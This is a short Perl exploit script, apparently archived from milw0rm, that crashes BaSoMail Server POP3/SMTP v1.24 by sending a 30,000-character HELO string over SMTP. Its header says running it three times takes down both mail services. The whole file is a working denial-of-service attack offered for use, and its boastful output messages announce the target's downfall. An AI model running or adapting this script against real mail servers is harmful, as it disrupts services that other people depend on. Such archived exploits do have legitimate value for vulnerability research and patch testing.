32 lines
No EOL
790 B
Perl
Executable file
32 lines
No EOL
790 B
Perl
Executable file
#!/usr/bin/perl
|
|
|
|
|
|
###############################################
|
|
# BaSoMail Server POP3 and SMTP v1.24 D.o.S #
|
|
# Discovered by Ziv Kamir,exploited by KaGra #
|
|
# #
|
|
# This Sploit sends as HELO request 1 packet #
|
|
# of 30K of data.If U use it at least 3 times#
|
|
# SMTP and POP services will be D.o.Sed. #
|
|
# Tested in WinXP SP1 EnGlish #
|
|
###############################################
|
|
|
|
|
|
|
|
|
|
use Net::SMTP;
|
|
print "\n[*]BuiLDinG BuFfer...\n";
|
|
$evil = 'A'x30000 ;
|
|
|
|
print "[*]@@@...SenDing DeViL...HeLL UnleaSheD...wait at least 30 seconds...@@@\n";
|
|
|
|
$smtp = Net::SMTP->new('localhost',
|
|
Hello=>$evil,
|
|
Timeout=>30,
|
|
|
|
);
|
|
|
|
print "\nTarGet Has BeeN D.o.Sed,use Exploit at Least 3 times \n";
|
|
print "and then check if Server aLiVe!\n\n";
|
|
|
|
# milw0rm.com [2004-10-24] |